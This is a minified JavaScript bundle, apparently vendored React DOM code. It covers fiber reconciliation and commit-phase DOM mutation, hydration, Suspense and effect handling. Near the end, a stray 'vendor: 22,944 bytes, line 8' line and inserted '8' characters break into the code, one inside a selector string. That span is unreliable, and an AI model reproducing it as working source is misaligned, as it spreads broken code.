e===null&&G&&((a=r=Oi)&&(r=tf(r,t.type,t.pendingProps,Ai),r===null?a=!1:(t.stateNode=r,Di=t,Oi=cf(r.firstChild),Ai=!1,a=!0)),a||Mi(t)),le(t),a=t.type,o=t.pendingProps,s=e===null?null:e.memoizedProps,r=o.children,Ud(a,o)?r=null:s!==null&&Ud(a,s)&&(t.flags|=32),t.memoizedState!==null&&(a=vo(e,t,xo,null,null,n),Qf._currentValue=a),uc(e,t),ec(e,t,r,n),t.child;case 6:return e===null&&G&&((e=n=Oi)&&(n=nf(n,t.pendingProps,Ai),n===null?e=!1:(t.stateNode=n,Di=t,Oi=null,e=!0)),e||Mi(t)),null;case 13:return vc(e,t,n);case 4:return se(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Ma(t,null,r,n):ec(e,t,r,n),t.child;case 11:return tc(e,t,t.type,t.pendingProps,n);case 7:return ec(e,t,t.pendingProps,n),t.child;case 8:return ec(e,t,t.pendingProps.children,n),t.child;case 12:return ec(e,t,t.pendingProps.children,n),t.child;case 10:return r=t.pendingProps,Hi(t,t.type,r.value),ec(e,t,r.children,n),t.child;case 9:return a=t.type._context,r=t.pendingProps.children,Ji(t),a=Yi(a),r=r(a),t.flags|=1,ec(e,t,r,n),t.child;case 14:return nc(e,t,t.type,t.pendingProps,n);case 15:return rc(e,t,t.type,t.pendingProps,n);case 19:return wc(e,t,n);case 31:return lc(e,t,n);case 22:return ic(e,t,n,t.pendingProps);case 24:return Ji(t),r=Yi(ta),e===null?(a=pa(),a===null&&(a=Ll,o=na(),a.pooledCache=o,o.refCount++,o!==null&&(a.pooledCacheLanes|=n),a=o),t.memoizedState={parent:r,cache:a},Fa(t),Hi(t,ta,a)):((e.lanes&n)!==0&&(Ia(e,t),Ua(t,null,null,n),Ha()),a=e.memoizedState,o=t.memoizedState,a.parent===r?(r=o.cache,Hi(t,ta,r),r!==a.cache&&Gi(t,[ta],n,!0)):(a={parent:r,cache:r},t.memoizedState=a,t.lanes===0&&(t.memoizedState=t.updateQueue.baseState=a),Hi(t,ta,r))),ec(e,t,t.pendingProps.children,n),t.child;case 29:throw t.pendingProps}throw Error(i(156,t.tag))}function kc(e){e.flags|=4}function Ac(e,t,n,r,i){if((t=(e.mode&32)!=0)&&(t=!1),t){if(e.flags|=16777216,(i&335544128)===i)if(e.stateNode.complete)e.flags|=8192;else if(Cu())e.flags|=8192;else throw Ca=ya,_a}else e.flags&=-16777217}function jc(e,t){if(t.type!==`stylesheet`||t.state.loading&4)e.flags&=-16777217;else if(e.flags|=16777216,!Wf(t))if(Cu())e.flags|=8192;else throw Ca=ya,_a}function Mc(e,t){t!==null&&(e.flags|=4),e.flags&16384&&(t=e.tag===22?536870912:Ke(),e.lanes|=t,Jl|=t)}function Nc(e,t){if(!G)switch(e.tailMode){case`hidden`:t=e.tail;for(var n=null;t!==null;)t.alternate!==null&&(n=t),t=t.sibling;n===null?e.tail=null:n.sibling=null;break;case`collapsed`:n=e.tail;for(var r=null;n!==null;)n.alternate!==null&&(r=n),n=n.sibling;r===null?t||e.tail===null?e.tail=null:e.tail.sibling=null:r.sibling=null}}function Pc(e){var t=e.alternate!==null&&e.alternate.child===e.child,n=0,r=0;if(t)for(var i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags&65011712,r|=i.flags&65011712,i.return=e,i=i.sibling;else for(i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags,r|=i.flags,i.return=e,i=i.sibling;return e.subtreeFlags|=r,e.childLanes=n,t}function Fc(e,t,n){var r=t.pendingProps;switch(Ti(t),t.tag){case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return Pc(t),null;case 1:return Pc(t),null;case 3:return n=t.stateNode,r=null,e!==null&&(r=e.memoizedState.cache),t.memoizedState.cache!==r&&(t.flags|=2048),Ui(ta),ce(),n.pendingContext&&(n.context=n.pendingContext,n.pendingContext=null),(e===null||e.child===null)&&(Fi(t)?kc(t):e===null||e.memoizedState.isDehydrated&&!(t.flags&256)||(t.flags|=1024,Li())),Pc(t),null;case 26:var a=t.type,o=t.memoizedState;return e===null?(kc(t),o===null?(Pc(t),Ac(t,a,null,r,n)):(Pc(t),jc(t,o))):o?o===e.memoizedState?(Pc(t),t.flags&=-16777217):(kc(t),Pc(t),jc(t,o)):(e=e.memoizedProps,e!==r&&kc(t),Pc(t),Ac(t,a,e,r,n)),null;case 27:if(ue(t),n=ae.current,a=t.type,e!==null&&t.stateNode!=null)e.memoizedProps!==r&&kc(t);else{if(!r){if(t.stateNode===null)throw Error(i(166));return Pc(t),null}e=re.current,Fi(t)?Ni(t,e):(e=ff(a,r,n),t.stateNode=e,kc(t))}return Pc(t),null;case 5:if(ue(t),a=t.type,e!==null&&t.stateNode!=null)e.memoizedProps!==r&&kc(t);else{if(!r){if(t.stateNode===null)throw Error(i(166));return Pc(t),null}if(o=re.current,Fi(t))Ni(t,o);else{var s=Bd(ae.current);switch(o){case 1:o=s.createElementNS(`http://www.w3.org/2000/svg`,a);break;case 2:o=s.createElementNS(`http://www.w3.org/1998/Math/MathML`,a);break;default:switch(a){case`svg`:o=s.createElementNS(`http://www.w3.org/2000/svg`,a);break;case`math`:o=s.createElementNS(`http://www.w3.org/1998/Math/MathML`,a);break;case`script`:o=s.createElement(`div`),o.innerHTML=`<script><\/script>`,o=o.removeChild(o.firstChild);break;case`select`:o=typeof r.is==`string`?s.createElement(`select`,{is:r.is}):s.createElement(`select`),r.multiple?o.multiple=!0:r.size&&(o.size=r.size);break;default:o=typeof r.is==`string`?s.createElement(a,{is:r.is}):s.createElement(a)}}o[it]=t,o[at]=r;a:for(s=t.child;s!==null;){if(s.tag===5||s.tag===6)o.appendChild(s.stateNode);else if(s.tag!==4&&s.tag!==27&&s.child!==null){s.child.return=s,s=s.child;continue}if(s===t)break a;for(;s.sibling===null;){if(s.return===null||s.return===t)break a;s=s.return}s.sibling.return=s.return,s=s.sibling}t.stateNode=o;a:switch(Pd(o,a,r),a){case`button`:case`input`:case`select`:case`textarea`:r=!!r.autoFocus;break a;case`img`:r=!0;break a;default:r=!1}r&&kc(t)}}return Pc(t),Ac(t,t.type,e===null?null:e.memoizedProps,t.pendingProps,n),null;case 6:if(e&&t.stateNode!=null)e.memoizedProps!==r&&kc(t);else{if(typeof r!=`string`&&t.stateNode===null)throw Error(i(166));if(e=ae.current,Fi(t)){if(e=t.stateNode,n=t.memoizedProps,r=null,a=Di,a!==null)switch(a.tag){case 27:case 5:r=a.memoizedProps}e[it]=t,e=!!(e.nodeValue===n||r!==null&&!0===r.suppressHydrationWarning||jd(e.nodeValue,n)),e||Mi(t,!0)}else e=Bd(e).createTextNode(r),e[it]=t,t.stateNode=e}return Pc(t),null;case 31:if(n=t.memoizedState,e===null||e.memoizedState!==null){if(r=Fi(t),n!==null){if(e===null){if(!r)throw Error(i(318));if(e=t.memoizedState,e=e===null?null:e.dehydrated,!e)throw Error(i(557));e[it]=t}else Ii(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;Pc(t),e=!1}else n=Li(),e!==null&&e.memoizedState!==null&&(e.memoizedState.hydrationErrors=n),e=!0;if(!e)return t.flags&256?(ro(t),t):(ro(t),null);if(t.flags&128)throw Error(i(558))}return Pc(t),null;case 13:if(r=t.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(a=Fi(t),r!==null&&r.dehydrated!==null){if(e===null){if(!a)throw Error(i(318));if(a=t.memoizedState,a=a===null?null:a.dehydrated,!a)throw Error(i(317));a[it]=t}else Ii(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;Pc(t),a=!1}else a=Li(),e!==null&&e.memoizedState!==null&&(e.memoizedState.hydrationErrors=a),a=!0;if(!a)return t.flags&256?(ro(t),t):(ro(t),null)}return ro(t),t.flags&128?(t.lanes=n,t):(n=r!==null,e=e!==null&&e.memoizedState!==null,n&&(r=t.child,a=null,r.alternate!==null&&r.alternate.memoizedState!==null&&r.alternate.memoizedState.cachePool!==null&&(a=r.alternate.memoizedState.cachePool.pool),o=null,r.memoizedState!==null&&r.memoizedState.cachePool!==null&&(o=r.memoizedState.cachePool.pool),o!==a&&(r.flags|=2048)),n!==e&&n&&(t.child.flags|=8192),Mc(t,t.updateQueue),Pc(t),null);case 4:return ce(),e===null&&xd(t.stateNode.containerInfo),Pc(t),null;case 10:return Ui(t.type),Pc(t),null;case 19:if(z(io),r=t.memoizedState,r===null)return Pc(t),null;if(a=(t.flags&128)!=0,o=r.rendering,o===null)if(a)Nc(r,!1);else{if(Ul!==0||e!==null&&e.flags&128)for(e=t.child;e!==null;){if(o=ao(e),o!==null){for(t.flags|=128,Nc(r,!1),e=o.updateQueue,t.updateQueue=e,Mc(t,e),t.subtreeFlags=0,e=n,n=t.child;n!==null;)ai(n,e),n=n.sibling;return B(io,io.current&1|2),G&&Si(t,r.treeForkCount),t.child}e=e.sibling}r.tail!==null&&Ce()>eu&&(t.flags|=128,a=!0,Nc(r,!1),t.lanes=4194304)}else{if(!a)if(e=ao(o),e!==null){if(t.flags|=128,a=!0,e=e.updateQueue,t.updateQueue=e,Mc(t,e),Nc(r,!0),r.tail===null&&r.tailMode===`hidden`&&!o.alternate&&!G)return Pc(t),null}else 2*Ce()-r.renderingStartTime>eu&&n!==536870912&&(t.flags|=128,a=!0,Nc(r,!1),t.lanes=4194304);r.isBackwards?(o.sibling=t.child,t.child=o):(e=r.last,e===null?t.child=o:e.sibling=o,r.last=o)}return r.tail===null?(Pc(t),null):(e=r.tail,r.rendering=e,r.tail=e.sibling,r.renderingStartTime=Ce(),e.sibling=null,n=io.current,B(io,a?n&1|2:n&1),G&&Si(t,r.treeForkCount),e);case 22:case 23:return ro(t),Xa(),r=t.memoizedState!==null,e===null?r&&(t.flags|=8192):e.memoizedState!==null!==r&&(t.flags|=8192),r?n&536870912&&!(t.flags&128)&&(Pc(t),t.subtreeFlags&6&&(t.flags|=8192)):Pc(t),n=t.updateQueue,n!==null&&Mc(t,n.retryQueue),n=null,e!==null&&e.memoizedState!==null&&e.memoizedState.cachePool!==null&&(n=e.memoizedState.cachePool.pool),r=null,t.memoizedState!==null&&t.memoizedState.cachePool!==null&&(r=t.memoizedState.cachePool.pool),r!==n&&(t.flags|=2048),e!==null&&z(fa),null;case 24:return n=null,e!==null&&(n=e.memoizedState.cache),t.memoizedState.cache!==n&&(t.flags|=2048),Ui(ta),Pc(t),null;case 25:return null;case 30:return null}throw Error(i(156,t.tag))}function Ic(e,t){switch(Ti(t),t.tag){case 1:return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Ui(ta),ce(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 26:case 27:case 5:return ue(t),null;case 31:if(t.memoizedState!==null){if(ro(t),t.alternate===null)throw Error(i(340));Ii()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 13:if(ro(t),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(i(340));Ii()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return z(io),null;case 4:return ce(),null;case 10:return Ui(t.type),null;case 22:case 23:return ro(t),Xa(),e!==null&&z(fa),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 24:return Ui(ta),null;case 25:return null;default:return null}}function Lc(e,t){switch(Ti(t),t.tag){case 3:Ui(ta),ce();break;case 26:case 27:case 5:ue(t);break;case 4:ce();break;case 31:t.memoizedState!==null&&ro(t);break;case 13:ro(t);break;case 19:z(io);break;case 10:Ui(t.type);break;case 22:case 23:ro(t),Xa(),e!==null&&z(fa);break;case 24:Ui(ta)}}function Rc(e,t){try{var n=t.updateQueue,r=n===null?null:n.lastEffect;if(r!==null){var i=r.next;n=i;do{if((n.tag&e)===e){r=void 0;var a=n.create,o=n.inst;r=a(),o.destroy=r}n=n.next}while(n!==i)}}catch(e){Q(t,t.return,e)}}function zc(e,t,n){try{var r=t.updateQueue,i=r===null?null:r.lastEffect;if(i!==null){var a=i.next;r=a;do{if((r.tag&e)===e){var o=r.inst,s=o.destroy;if(s!==void 0){o.destroy=void 0,i=t;var c=n,l=s;try{l()}catch(e){Q(i,c,e)}}}r=r.next}while(r!==a)}}catch(e){Q(t,t.return,e)}}function Bc(e){var t=e.updateQueue;if(t!==null){var n=e.stateNode;try{Ga(t,n)}catch(t){Q(e,e.return,t)}}}function Vc(e,t,n){n.props=Hs(e.type,e.memoizedProps),n.state=e.memoizedState;try{n.componentWillUnmount()}catch(n){Q(e,t,n)}}function Hc(e,t){try{var n=e.ref;if(n!==null){switch(e.tag){case 26:case 27:case 5:var r=e.stateNode;break;case 30:r=e.stateNode;break;default:r=e.stateNode}typeof n==`function`?e.refCleanup=n(r):n.current=r}}catch(n){Q(e,t,n)}}function Uc(e,t){var n=e.ref,r=e.refCleanup;if(n!==null)if(typeof r==`function`)try{r()}catch(n){Q(e,t,n)}finally{e.refCleanup=null,e=e.alternate,e!=null&&(e.refCleanup=null)}else if(typeof n==`function`)try{n(null)}catch(n){Q(e,t,n)}else n.current=null}function Wc(e){var t=e.type,n=e.memoizedProps,r=e.stateNode;try{a:switch(t){case`button`:case`input`:case`select`:case`textarea`:n.autoFocus&&r.focus();break a;case`img`:n.src?r.src=n.src:n.srcSet&&(r.srcset=n.srcSet)}}catch(t){Q(e,e.return,t)}}function Gc(e,t,n){try{var r=e.stateNode;Fd(r,e.type,n,t),r[at]=t}catch(t){Q(e,e.return,t)}}function Kc(e){return e.tag===5||e.tag===3||e.tag===26||e.tag===27&&Zd(e.type)||e.tag===4}function qc(e){a:for(;;){for(;e.sibling===null;){if(e.return===null||Kc(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.tag===27&&Zd(e.type)||e.flags&2||e.child===null||e.tag===4)continue a;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Jc(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?(n.nodeType===9?n.body:n.nodeName===`HTML`?n.ownerDocument.body:n).insertBefore(e,t):(t=n.nodeType===9?n.body:n.nodeName===`HTML`?n.ownerDocument.body:n,t.appendChild(e),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Xt));else if(r!==4&&(r===27&&Zd(e.type)&&(n=e.stateNode,t=null),e=e.child,e!==null))for(Jc(e,t,n),e=e.sibling;e!==null;)Jc(e,t,n),e=e.sibling}function Yc(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(r===27&&Zd(e.type)&&(n=e.stateNode),e=e.child,e!==null))for(Yc(e,t,n),e=e.sibling;e!==null;)Yc(e,t,n),e=e.sibling}function Xc(e){var t=e.stateNode,n=e.memoizedProps;try{for(var r=e.type,i=t.attributes;i.length;)t.removeAttributeNode(i[0]);Pd(t,r,n),t[it]=e,t[at]=n}catch(t){Q(e,e.return,t)}}var Zc=!1,Qc=!1,$c=!1,el=typeof WeakSet==`function`?WeakSet:Set,tl=null;function nl(e,t){if(e=e.containerInfo,Rd=sp,e=xr(e),Sr(e)){if(`selectionStart`in e)var n={start:e.selectionStart,end:e.selectionEnd};else a:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var a=r.anchorOffset,o=r.focusNode;r=r.focusOffset;try{n.nodeType,o.nodeType}catch{n=null;break a}var s=0,c=-1,l=-1,u=0,d=0,f=e,p=null;b:for(;;){for(var m;f!==n||a!==0&&f.nodeType!==3||(c=s+a),f!==o||r!==0&&f.nodeType!==3||(l=s+r),f.nodeType===3&&(s+=f.nodeValue.length),(m=f.firstChild)!==null;)p=f,f=m;for(;;){if(f===e)break b;if(p===n&&++u===a&&(c=s),p===o&&++d===r&&(l=s),(m=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=m}n=c===-1||l===-1?null:{start:c,end:l}}else n=null}n||={start:0,end:0}}else n=null;for(zd={focusedElem:e,selectionRange:n},sp=!1,tl=t;tl!==null;)if(t=tl,e=t.child,t.subtreeFlags&1028&&e!==null)e.return=t,tl=e;else for(;tl!==null;){switch(t=tl,o=t.alternate,e=t.flags,t.tag){case 0:if(e&4&&(e=t.updateQueue,e=e===null?null:e.events,e!==null))for(n=0;n<e.length;n++)a=e[n],a.ref.impl=a.nextImpl;break;case 11:case 15:break;case 1:if(e&1024&&o!==null){e=void 0,n=t,a=o.memoizedProps,o=o.memoizedState,r=n.stateNode;try{var h=Hs(n.type,a);e=r.getSnapshotBeforeUpdate(h,o),r.__reactInternalSnapshotBeforeUpdate=e}catch(e){Q(n,n.return,e)}}break;case 3:if(e&1024){if(e=t.stateNode.containerInfo,n=e.nodeType,n===9)ef(e);else if(n===1)switch(e.nodeName){case`HEAD`:case`HTML`:case`BODY`:ef(e);break;default:e.textContent=``}}break;case 5:case 26:case 27:case 6:case 4:case 17:break;default:if(e&1024)throw Error(i(163))}if(e=t.sibling,e!==null){e.return=t.return,tl=e;break}tl=t.return}}function rl(e,t,n){var r=n.flags;switch(n.tag){case 0:case 11:case 15:vl(e,n),r&4&&Rc(5,n);break;case 1:if(vl(e,n),r&4)if(e=n.stateNode,t===null)try{e.componentDidMount()}catch(e){Q(n,n.return,e)}else{var i=Hs(n.type,t.memoizedProps);t=t.memoizedState;try{e.componentDidUpdate(i,t,e.__reactInternalSnapshotBeforeUpdate)}catch(e){Q(n,n.return,e)}}r&64&&Bc(n),r&512&&Hc(n,n.return);break;case 3:if(vl(e,n),r&64&&(e=n.updateQueue,e!==null)){if(t=null,n.child!==null)switch(n.child.tag){case 27:case 5:t=n.child.stateNode;break;case 1:t=n.child.stateNode}try{Ga(e,t)}catch(e){Q(n,n.return,e)}}break;case 27:t===null&&r&4&&Xc(n);case 26:case 5:vl(e,n),t===null&&r&4&&Wc(n),r&512&&Hc(n,n.return);break;case 12:vl(e,n);break;case 31:vl(e,n),r&4&&ll(e,n);break;case 13:vl(e,n),r&4&&ul(e,n),r&64&&(e=n.memoizedState,e!==null&&(e=e.dehydrated,e!==null&&(n=qu.bind(null,n),sf(e,n))));break;case 22:if(r=n.memoizedState!==null||Zc,!r){t=t!==null&&t.memoizedState!==null||Qc,i=Zc;var a=Qc;Zc=r,(Qc=t)&&!a?bl(e,n,(n.subtreeFlags&8772)!=0):vl(e,n),Zc=i,Qc=a}break;case 30:break;default:vl(e,n)}}function il(e){var t=e.alternate;t!==null&&(e.alternate=null,il(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&ft(t)),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}var al=null,ol=!1;function sl(e,t,n){for(n=n.child;n!==null;)cl(e,t,n),n=n.sibling}function cl(e,t,n){if(Ne&&typeof Ne.onCommitFiberUnmount==`function`)try{Ne.onCommitFiberUnmount(Me,n)}catch{}switch(n.tag){case 26:Qc||Uc(n,t),sl(e,t,n),n.memoizedState?n.memoizedState.count--:n.stateNode&&(n=n.stateNode,n.parentNode.removeChild(n));break;case 27:Qc||Uc(n,t);var r=al,i=ol;Zd(n.type)&&(al=n.stateNode,ol=!1),sl(e,t,n),pf(n.stateNode),al=r,ol=i;break;case 5:Qc||Uc(n,t);case 6:if(r=al,i=ol,al=null,sl(e,t,n),al=r,ol=i,al!==null)if(ol)try{(al.nodeType===9?al.body:al.nodeName===`HTML`?al.ownerDocument.body:al).removeChild(n.stateNode)}catch(e){Q(n,t,e)}else try{al.removeChild(n.stateNode)}catch(e){Q(n,t,e)}break;case 18:al!==null&&(ol?(e=al,Qd(e.nodeType===9?e.body:e.nodeName===`HTML`?e.ownerDocument.body:e,n.stateNode),Np(e)):Qd(al,n.stateNode));break;case 4:r=al,i=ol,al=n.stateNode.containerInfo,ol=!0,sl(e,t,n),al=r,ol=i;break;case 0:case 11:case 14:case 15:zc(2,n,t),Qc||zc(4,n,t),sl(e,t,n);break;case 1:Qc||(Uc(n,t),r=n.stateNode,typeof r.componentWillUnmount==`function`&&Vc(n,t,r)),sl(e,t,n);break;case 21:sl(e,t,n);break;case 22:Qc=(r=Qc)||n.memoizedState!==null,sl(e,t,n),Qc=r;break;default:sl(e,t,n)}}function ll(e,t){if(t.memoizedState===null&&(e=t.alternate,e!==null&&(e=e.memoizedState,e!==null))){e=e.dehydrated;try{Np(e)}catch(e){Q(t,t.return,e)}}}function ul(e,t){if(t.memoizedState===null&&(e=t.alternate,e!==null&&(e=e.memoizedState,e!==null&&(e=e.dehydrated,e!==null))))try{Np(e)}catch(e){Q(t,t.return,e)}}function dl(e){switch(e.tag){case 31:case 13:case 19:var t=e.stateNode;return t===null&&(t=e.stateNode=new el),t;case 22:return e=e.stateNode,t=e._retryCache,t===null&&(t=e._retryCache=new el),t;default:throw Error(i(435,e.tag))}}function fl(e,t){var n=dl(e);t.forEach(function(t){if(!n.has(t)){n.add(t);var r=Ju.bind(null,e,t);t.then(r,r)}})}function pl(e,t){var n=t.deletions;if(n!==null)for(var r=0;r<n.length;r++){var a=n[r],o=e,s=t,c=s;a:for(;c!==null;){switch(c.tag){case 27:if(Zd(c.type)){al=c.stateNode,ol=!1;break a}break;case 5:al=c.stateNode,ol=!1;break a;case 3:case 4:al=c.stateNode.containerInfo,ol=!0;break a}c=c.return}if(al===null)throw Error(i(160));cl(o,s,a),al=null,ol=!1,o=a.alternate,o!==null&&(o.return=null),a.return=null}if(t.subtreeFlags&13886)for(t=t.child;t!==null;)hl(t,e),t=t.sibling}var ml=null;function hl(e,t){var n=e.alternate,r=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:pl(t,e),gl(e),r&4&&(zc(3,e,e.return),Rc(3,e),zc(5,e,e.return));break;case 1:pl(t,e),gl(e),r&512&&(Qc||n===null||Uc(n,n.return)),r&64&&Zc&&(e=e.updateQueue,e!==null&&(r=e.callbacks,r!==null&&(n=e.shared.hiddenCallbacks,e.shared.hiddenCallbacks=n===null?r:n.concat(r))));break;case 26:var a=ml;if(pl(t,e),gl(e),r&512&&(Qc||n===null||Uc(n,n.return)),r&4){var o=n===null?null:n.memoizedState;if(r=e.memoizedState,n===null)if(r===null)if(e.stateNode===null){a:{r=e.type,n=e.memoizedProps,a=a.ownerDocument||a;b:switch(r){case`title`:o=a.getElementsByTagName(`title`)[0],(!o||o[dt]||o[it]||o.namespaceURI===`http://www.w3.org/2000/svg`||o.hasAttribute(`itemprop`))&&(o=a.createElement(r),a.head.insertBefore(o,a.querySelector(`head >
8 title`))),Pd(o,r,n),o[it]=e,_t(o),r=o;break a;case`link`:var s=Vf(`link`,`href`,a).get(r+(n.href||``));if(s){for(var c=0;c<s.length;c++)if(o=s[c],o.getAttribute(`href`)===(n.href==null||n.href===``?null:n.href)&&o.getAttribute(`rel`)===(n.rel==null?null:n.rel)&&o.getAttribute(`title`)===(n.title==null?null:n.title)&&o.getAttribute(`crossorigin`)===(n.crossOrigin==null?null:n.crossOrigin)){s.splice(c,1);break b}}o=a.createElement(r),Pd(o,r,n),a.head.appendChild(o);break;case`meta`:if(s=Vf(`meta`,`content`,a).get(r+(n.content||``))){for(c=0;c<s.length;c++)if(o=s[c],o.getAttribute(`content`)===(n.content==null?null:``+n.content)&&o.getAttribute(`name`)===(n.name==null?null:n.name)&&o.getAttribute(`property`)===(n.property==null?null:n.property)&&o.getAttribute(`http-equiv`)===(n.httpEquiv==null?null:n.httpEquiv)&&o.getAttribute(`charset`)===(n.charSet==null?null:n.charSet)){s.splice(c,1);break b}}o=a.createElement(r),Pd(o,r,n),a.head.appendChild(o);break;default:throw Error(i(468,r))}o[it]=e,_t(o),r=o}e.stateNode=r}else Hf(a,e.type,e.stateNode);else e.stateNode=If(a,r,e.memoizedProps);
vendor: 22,944 bytes, line 8
8else o===r?r===null&&e.stateNode!==null&&Gc(e,e.memoizedProps,n.memoizedProps):(o===null?n.stateNode!==null&&(n=n.stateNode,n.parentNode.removeChild(n)):o.count--,r===null?Hf(a,e.type,e.stateNode):If(a,r,e.memoizedProps))}break;case 27:pl(t,e),gl(e),r&512&&(Qc||n===null||Uc(n,n.return)),n!==null&&r&4&&Gc(e,e.memoizedProps,n.memoizedProps);break;case 5:if(pl(t,e),gl(e),r&512&&(Qc||n===null||Uc(n,n.return)),e.flags&32){a=e.stateNode;try{Ht(a,``)}catch(t){Q(e,e.return,t)}}r&4&&e.stateNode!=null&&(a=e.memoizedProps,Gc(e,a,n===null?a:n.memoizedProps)),r&1024&&($c=!0);break;case 6:if(pl(t,e),gl(e),r&4){if(e.stateNode===null)throw Error(i(162));r=e.memoizedProps,n=e.stateNode;try{n.nodeValue=r}catch(t){Q(e,e.return,t)}}break;case 3:if(Bf=null,a=ml,ml=gf(t.containerInfo),pl(t,e),ml=a,gl(e),r&4&&n!==null&&n.memoizedState.isDehydrated)try{Np(t.containerInfo)}catch(t){Q(e,e.return,t)}$c&&($c=!1,_l(e));break;case 4:r=ml,ml=gf(e.stateNode.containerInfo),pl(t,e),gl(e),ml=r;break;case 12:pl(t,e),gl(e);break;case 31:pl(t,e),gl(e),r&4&&(r=e.updateQueue,r!==null&&(e.updateQueue=null,fl(e,r)));break;case 13:pl(t,e),gl(e),e.child.flags&8192&&e.memoizedState!==null!=(n!==null&&n.memoizedState!==null)&&(Ql=Ce()),r&4&&(r=e.updateQueue,r!==null&&(e.updateQueue=null,fl(e,r)));break;case 22:a=e.memoizedState!==null;var l=n!==null&&n.memoizedState!==null,u=Zc,d=Qc;if(Zc=u||a,Qc=d||l,pl(t,e),Qc=d,Zc=u,gl(e),r&8192)a:for(t=e.stateNode,t._visibility=a?t._visibility&-2:t._visibility|1,a&&(n===null||l||Zc||Qc||yl(e)),n=null,t=e;;){if(t.tag===5||t.tag===26){if(n===null){l=n=t;try{if(o=l.stateNode,a)s=o.style,typeof s.setProperty==`function`?s.setProperty(`display`,`none`,`important`):s.display=`none`;else{c=l.stateNode;var f=l.memoizedProps.style,p=f!=null&&f.hasOwnProperty(`display`)?f.display:null;c.style.display=p==null||typeof p==`boolean`?``:(``+p).trim()}}catch(e){Q(l,l.return,e)}}}else if(t.tag===6){if(n===null){l=t;try{l.stateNode.nodeValue=a?``:l.memoizedProps}catch(e){Q(l,l.return,e)}}}else if(t.tag===18){if(n===null){l=t;try{var m=l.stateNode;a?$d(m,!0):$d(l.stateNode,!1)}catch(e){Q(l,l.return,e)}}}else if((t.tag!==22&&t.tag!==23||t.memoizedState===null||t===e)&&t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break a;for(;t.sibling===null;){if(t.return===null||t.return===e)break a;n===t&&(n=null),t=t.return}n===t&&(n=null),t.sibling.return=t.return,t=t.sibling}r&4&&(r=e.updateQueue,r!==null&&(n=r.retryQueue,n!==null&&(r.retryQueue=null,fl(e,n))));break;case 19:pl(t,e),gl(e),r&4&&(r=e.updateQueue,r!==null&&(e.updateQueue=null,fl(e,r)));break;case 30:break;case 21:break;default:pl(t,e),gl(e)}}function gl(e){var t=e.flags;if(t&2){try{for(var n,r=e.return;r!==null;){if(Kc(r)){n=r;break}r=r.return}if(n==null)throw Error(i(160));switch(n.tag){case 27:var a=n.stateNode;Yc(e,qc(e),a);break;case 5:var o=n.stateNode;n.flags&32&&(Ht(o,``),n.flags&=-33),Yc(e,qc(e),o);break;case 3:case 4:var s=n.stateNode.containerInfo;Jc(e,qc(e),s);break;default:throw Error(i(161))}}catch(t){Q(e,e.return,t)}e.flags&=-3}t&4096&&(e.flags&=-4097)}function _l(e){if(e.subtreeFlags&1024)for(e=e.child;e!==null;){var t=e;_l(t),t.tag===5&&t.flags&1024&&t.stateNode.reset(),e=e.sibling}}function vl(e,t){if(t.subtreeFlags&8772)for(t=t.child;t!==null;)rl(e,t.alternate,t),t=t.sibling}function yl(e){for(e=e.child;e!==null;){var t=e;switch(t.tag){case 0:case 11:case 14:case 15:zc(4,t,t.return),yl(t);break;case 1:Uc(t,t.return);var n=t.stateNode;typeof n.componentWillUnmount==`function`&&Vc(t,t.return,n),yl(t);break;case 27:pf(t.stateNode);case 26:case 5:Uc(t,t.return),yl(t);break;case 22:t.memoizedState===null&&yl(t);break;case 30:yl(t);break;default:yl(t)}e=e.sibling}}function bl(e,t,n){for(n&&=(t.subtreeFlags&8772)!=0,t=t.child;t!==null;){var r=t.alternate,i=e,a=t,o=a.flags;switch(a.tag){case 0:case 11:case 15:bl(i,a,n),Rc(4,a);break;case 1:if(bl(i,a,n),r=a,i=r.stateNode,typeof i.componentDidMount==`function`)try{i.componentDidMount()}catch(e){Q(r,r.return,e)}if(r=a,i=r.updateQueue,i!==null){var s=r.stateNode;try{var c=i.shared.hiddenCallbacks;if(c!==null)for(i.shared.hiddenCallbacks=null,i=0;i<c.length;i++)Wa(c[i],s)}catch(e){Q(r,r.return,e)}}n&&o&64&&Bc(a),Hc(a,a.return);break;case 27:Xc(a);case 26:case 5:bl(i,a,n),n&&r===null&&o&4&&Wc(a),Hc(a,a.return);break;case 12:bl(i,a,n);break;case 31:bl(i,a,n),n&&o&4&&ll(i,a);break;case 13:bl(i,a,n),n&&o&4&&ul(i,a);break;case 22:a.memoizedState===null&&bl(i,a,n),Hc(a,a.return);break;case 30:break;default:bl(i,a,n)}t=t.sibling}}function xl(e,t){var 